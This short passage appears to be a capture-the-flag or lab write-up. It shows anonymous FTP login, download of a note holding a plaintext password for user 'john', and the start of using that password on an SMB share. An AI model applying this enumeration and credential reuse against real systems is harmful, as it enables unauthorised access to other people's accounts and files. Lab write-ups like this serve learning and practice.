FTP

The FTP service allows anonymous logins (username is anonymous).

ncftp / > ls
pub/
ncftp / > ls pub
note.txt
ncftp / > get pub/note.txt

There is a note.txt containing user credentials.

└─# cat note.txt  
John, I set a temporary password for you so you can access to your shared folder.
Plz don't put there any sensitive information. TheKeepers might find it somehow!

john:TempTemp123!

SMB

We can then access John's SMB share using the credentials found.
